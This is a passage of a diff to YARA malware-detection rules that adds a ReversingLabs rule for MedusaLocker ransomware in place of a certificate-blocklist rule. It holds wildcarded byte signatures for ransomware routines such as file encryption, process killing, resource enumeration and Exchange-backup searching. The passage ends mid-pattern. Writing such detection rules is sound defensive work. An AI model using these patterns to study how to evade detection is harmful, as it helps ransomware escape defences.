8B 4C 24 ?? 3B 0D ?? ?? ?? ?? + 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 54 24 ?? 6A ?? 52 C6 44 + } + $encrypt_files_p2 = { + 24 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 79 ?? 48 0D ?? + ?? ?? ?? 40 88 44 34 ?? 46 83 FE ?? 7C ?? 8B 44 24 ?? BE ?? ?? ?? ?? 85 C0 0F 8F ?? + ?? ?? ?? 0F 8C ?? ?? ?? ?? 81 FF ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 85 C0 0F 8C ?? ?? ?? + ?? 7F ?? 85 FF 0F 84 ?? ?? ?? ?? 85 C0 7F ?? 7C ?? 3B FE 73 ?? 6A ?? 6A ?? 50 57 E8 + ?? ?? ?? ?? 8B F7 2B F0 56 E8 ?? ?? ?? ?? 8B F8 33 C0 83 C4 ?? 89 44 24 ?? 89 44 24 + ?? 3B F8 74 ?? 50 8D 44 24 ?? 50 56 57 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 39 74 24 ?? + 75 ?? 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 56 57 8D 44 24 ?? E8 ?? ?? ?? ?? 83 C4 + ?? 6A ?? 8D 4C 24 ?? 51 56 57 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 FF 15 + ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? + ?? ?? 8B E5 5D C3 53 FF 15 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 + C4 ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 6A ?? 68 ?? ?? + ?? ?? 50 57 E8 ?? ?? ?? ?? 8B C8 89 44 24 ?? B8 ?? ?? ?? ?? F7 E9 C1 FA ?? 8B C2 C1 + E8 ?? 03 C2 69 C0 ?? ?? ?? ?? 8B D1 2B D0 85 D2 7E ?? 41 89 4C 24 ?? 33 C0 89 44 24 + ?? 3B C8 0F 8E ?? ?? ?? ?? 89 44 24 ?? EB ?? 90 8B 7C 24 ?? 8B 44 24 ?? 8B 4C 24 + } + $encrypt_files_p3 = { + 99 2B F8 1B CA 89 7C 24 ?? 89 4C 24 ?? 0F 88 ?? ?? ?? ?? 7F ?? 85 FF 0F 84 ?? ?? ?? + ?? 8B C6 99 3B CA 7F ?? 7C ?? 3B F8 73 ?? 6A ?? 6A ?? 51 57 E8 ?? ?? ?? ?? 8B F7 2B + F0 85 F6 0F 8E ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B F8 33 C0 83 C4 ?? 89 44 24 ?? 89 44 + 24 ?? 3B F8 0F 84 ?? ?? ?? ?? 50 8D 44 24 ?? 50 56 57 53 FF 15 ?? ?? ?? ?? 85 C0 0F + 84 ?? ?? ?? ?? 39 74 24 ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 8B CE F7 D9 51 53 FF 15 ?? + ?? ?? ?? 56 57 8D 44 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 54 24 ?? 52 56 57 53 FF + 15 ?? ?? ?? ?? 85 C0 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 81 FE ?? ?? ?? ?? 7C ?? 83 7C + 24 ?? ?? 7C ?? 7F ?? 81 7C 24 ?? ?? ?? ?? ?? 72 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF + 15 ?? ?? ?? ?? 8B 44 24 ?? 81 44 24 ?? ?? ?? ?? ?? 40 89 44 24 ?? 3B 44 24 ?? 0F 8C + ?? ?? ?? ?? EB ?? 53 FF 15 ?? ?? ?? ?? EB ?? 53 FF 15 ?? ?? ?? ?? 85 FF 74 ?? 57 E8 + ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 68 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 68 + } + $encrypt_files_p4 = { + 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? B9 ?? ?? ?? ?? 8D + 74 24 ?? 8D BC 24 ?? ?? ?? ?? F3 A5 8B 4C 24 ?? 6A ?? 89 8C 24 ?? ?? ?? ?? 8B D0 8D + 4C 24 ?? 51 C1 FA ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? A1 ?? + ?? ?? ?? 52 53 C7 44 24 ?? ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 FF + 15 ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 66 89 84 24 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8D 94 24 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 94 24 ?? ?? ?? ?? 52 56 FF 15 ?? ?? ?? ?? 5F 5E + 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 53 FF 15 ?? ?? ?? ?? 8B 8C + 24 ?? ?? ?? ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $find_MS_xchange_backups_p1 = { + 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? + ?? ?? 53 56 57 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? + 8B 1D ?? ?? ?? ?? B0 ?? 88 44 24 ?? 88 44 24 ?? B0 ?? 83 C4 ?? C6 44 24 ?? ?? C7 44 + 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? C7 44 24 ?? ?? ?? ?? + ?? 88 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? C6 44 24 ?? ?? 88 44 24 + ?? 88 44 24 ?? BE ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B FF 68 ?? ?? ?? ?? 8D 8C 24 + ?? ?? ?? ?? 6A ?? 51 C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 8D 54 24 ?? + 52 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 6A ?? 51 + E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 33 D2 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? + 8D 44 24 ?? 50 8D 4C 24 ?? 51 52 52 52 52 52 52 66 89 54 24 ?? 8D 94 24 ?? ?? ?? ?? + 52 6A ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF D3 6A ?? FF D7 83 C6 ?? + FF 4C 24 ?? 0F 85 ?? ?? ?? ?? BE ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8D 49 ?? + 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 C6 84 24 ?? ?? ?? ?? ?? E8 + } + $find_MS_xchange_backups_p2 = { + 83 C4 ?? 56 8D 4C 24 ?? 51 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 6A + ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 33 C9 8D 54 24 ?? 52 89 44 24 + ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 8D 44 24 ?? 50 51 51 51 51 51 51 66 89 4C 24 + ?? 8D 8C 24 ?? ?? ?? ?? 51 6A ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF + D3 6A ?? FF D7 83 C6 ?? FF 4C 24 ?? 0F 85 ?? ?? ?? ?? 33 D2 68 ?? ?? ?? ?? 52 8D 84 + 24 ?? ?? ?? ?? 50 66 89 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 B1 ?? EB ?? 8D 49 ?? + 30 88 ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? + 51 C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? + ?? 52 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 51 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? 56 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 54 24 ?? 6A ?? 52 E8 ?? ?? + ?? ?? 83 C4 ?? 33 C0 8D 4C 24 ?? 51 8D 54 24 ?? 52 50 50 50 50 50 50 89 44 24 ?? 89 + 44 24 ?? 89 44 24 ?? 89 44 24 ?? 66 89 44 24 ?? 8D 84 24 ?? ?? ?? ?? 50 6A ?? C7 44 + 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF D3 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC + E8 ?? ?? ?? ?? 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FANATOR, OOO" and ( pe.signatures [ i ] . serial == "00:d2:ca:f7:90:8a:ae:bf:a1:a8:f3:e2:13:6f:ec:e0:24" or pe.signatures [ i ] . serial == "d2:ca:f7:90:8a:ae:bf:a1:a8:f3:e2:13:6f:ec:e0:24" ) and 1599041760 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $find_MS_xchange_backups_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_E04A344B397F752A45B128A594A3D6B5 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Medusalocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects MedusaLocker ransomware." author = "ReversingLabs" - id = "b396e08c-b7dc-5498-9c68-2d8cdc5dd3d3" - date = "2020-08-05" - modified = "2023-11-08" + id = "8bfcfe13-b519-5c03-9770-cf245b01c395" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4518-L4536" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.MedusaLocker.yara#L1-L174" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0489577c6050f0c5d1dad5bda8c4f3c895902b932cd0324087712ccb83f14680" + logic_hash = "73f915d476d1411d2e008d00c5ffa03596e3b62bcdbc4d91dc7226599a066c08" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "MedusaLocker" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 83 + 7D ?? ?? 75 ?? 32 C0 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 8B 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 73 ?? 32 C0 E9 ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 C9 89 4D ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? + ?? 85 C0 75 ?? 32 C0 E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? + 8B 8D ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? 33 D2 89 55 ?? C7 45 ?? ?? ?? ?? ?? 33 C0 89 45 ?? 0F 57 + C0 66 0F 13 85 ?? ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 81 C1 ?? ?? ?? ?? 8B 95 ?? ?? ?? + ?? 83 D2 ?? 89 8D ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 0F 8F ?? + ?? ?? ?? 7C ?? 8B 8D ?? ?? ?? ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? + 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? + C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 ?? ?? ?? ?? + 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 + ?? ?? ?? ?? 85 C0 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 + } + $encrypt_files_p2 = { + 8A 45 ?? E9 ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 + ?? ?? ?? ?? 85 C0 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? + 8A 45 ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 05 ?? + ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8D 4D ?? E8 ?? ?? ?? ?? 03 85 ?? ?? ?? ?? 50 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? + 83 C4 ?? 50 6A ?? 8B 4D ?? 51 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 D0 85 D2 75 ?? + C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 ?? ?? ?? ?? + 6A ?? 8D 45 ?? 50 8B 8D ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 50 8B 55 ?? 52 FF 15 + ?? ?? ?? ?? 85 C0 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? + 8A 45 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? EB ?? E9 ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 4D ?? 8B 95 ?? + ?? ?? ?? 89 55 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 89 85 ?? ?? ?? ?? 8B 8D ?? ?? + ?? ?? 89 4D ?? 8B 95 ?? ?? ?? ?? 89 55 ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 + } + $encrypt_files_p3 = { + 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 8D ?? ?? + ?? ?? 83 C1 ?? E8 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 83 C1 ?? E8 ?? ?? ?? ?? 50 8B 55 + ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? E8 ?? ?? + ?? ?? 39 45 ?? 0F 85 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 4D ?? + 89 4D ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 52 8B + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? E8 ?? ?? ?? ?? 89 + 45 ?? 8B 45 ?? 89 45 ?? 6A ?? 8D 4D ?? 51 6A ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? + ?? ?? 85 C0 74 ?? 83 7D ?? ?? 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 + ?? ?? ?? ?? 8A 45 ?? EB ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? + ?? 8A 45 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D + C2 + } + $search_files_1 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 45 ?? 53 8B 5D + ?? 56 89 8D ?? ?? ?? ?? 8B 4D ?? 57 89 8D ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 83 + 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 72 ?? 8B + 45 ?? 33 F6 8D 8D ?? ?? ?? ?? 56 56 56 51 56 50 FF 15 ?? ?? ?? ?? 8B F8 8B 85 ?? ?? + ?? ?? 83 FF ?? 75 ?? C7 00 ?? ?? ?? ?? 33 C0 66 89 03 EB ?? 6A ?? 89 30 58 66 39 85 + ?? ?? ?? ?? 75 ?? 66 39 B5 ?? ?? ?? ?? 74 ?? 66 39 85 ?? ?? ?? ?? 75 ?? 66 39 B5 ?? + ?? ?? ?? 75 ?? 8B 8D ?? ?? ?? ?? 51 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 66 39 33 75 ?? 57 + FF 15 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C4 ?? 89 01 8B F7 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? + 8B C6 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3 + } + $search_files_2 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8B 5D ?? 8D 85 ?? ?? ?? + ?? 56 8B 75 ?? 57 8B 7D ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 58 66 39 85 ?? + ?? ?? ?? 75 ?? 66 83 BD ?? ?? ?? ?? ?? 74 ?? 66 39 85 ?? ?? ?? ?? 75 ?? 66 83 BD ?? + ?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 58 75 ?? 68 + ?? ?? ?? ?? 56 C7 03 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 8B 4D ?? 5F 5E 33 CD 5B E8 ?? + ?? ?? ?? C9 C3 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 03 8D 85 ?? ?? ?? ?? 50 56 E8 ?? + ?? ?? ?? 83 C4 ?? EB + } + $enum_resources = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 + 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 33 C0 89 45 ?? 66 89 45 ?? B9 ?? ?? ?? + ?? 6B D1 ?? 66 8B 45 ?? 66 89 44 15 ?? B9 ?? ?? ?? ?? C1 E1 ?? BA ?? ?? ?? ?? 66 89 + 54 0D ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? 51 + 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 8D 55 ?? 52 FF 15 ?? ?? ?? ?? 33 C0 66 89 45 ?? 8D + 4D ?? 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 00 89 45 ?? 8D 4D ?? 51 8D 55 ?? 52 + 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 08 51 8D 55 ?? 52 8D 45 ?? 50 E8 ?? ?? ?? ?? + 83 C4 ?? 8B 08 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 00 89 45 ?? 8B 4D ?? 51 8B + 55 ?? 52 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 + 8B 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 4D ?? 64 89 0D ?? ?? ?? + ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 + } + $kill_processes = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 33 C0 88 85 ?? ?? ?? + ?? 8B 4D ?? E8 ?? ?? ?? ?? 0F B6 C8 85 C9 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? + ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? + 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 95 ?? + ?? ?? ?? 52 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 8D 4D + ?? E8 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 95 ?? ?? + ?? ?? 85 D2 74 ?? 8B 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? + ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 95 ?? + ?? ?? ?? 52 FF 15 ?? ?? ?? ?? B0 ?? EB ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 + FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 32 + C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 + } + $kill_processes_call = { + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? + 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? + 89 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 3B 95 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 50 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D + ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB + } + $enum_resources_call = { + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 4D + ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D 4D + ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4D + ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D + 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? + 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 8D 4D + ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B C8 E8 ?? ?? ?? ?? 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? 51 8D 4D ?? E8 ?? + ?? ?? ?? 8D 55 ?? 89 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? + ?? 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? 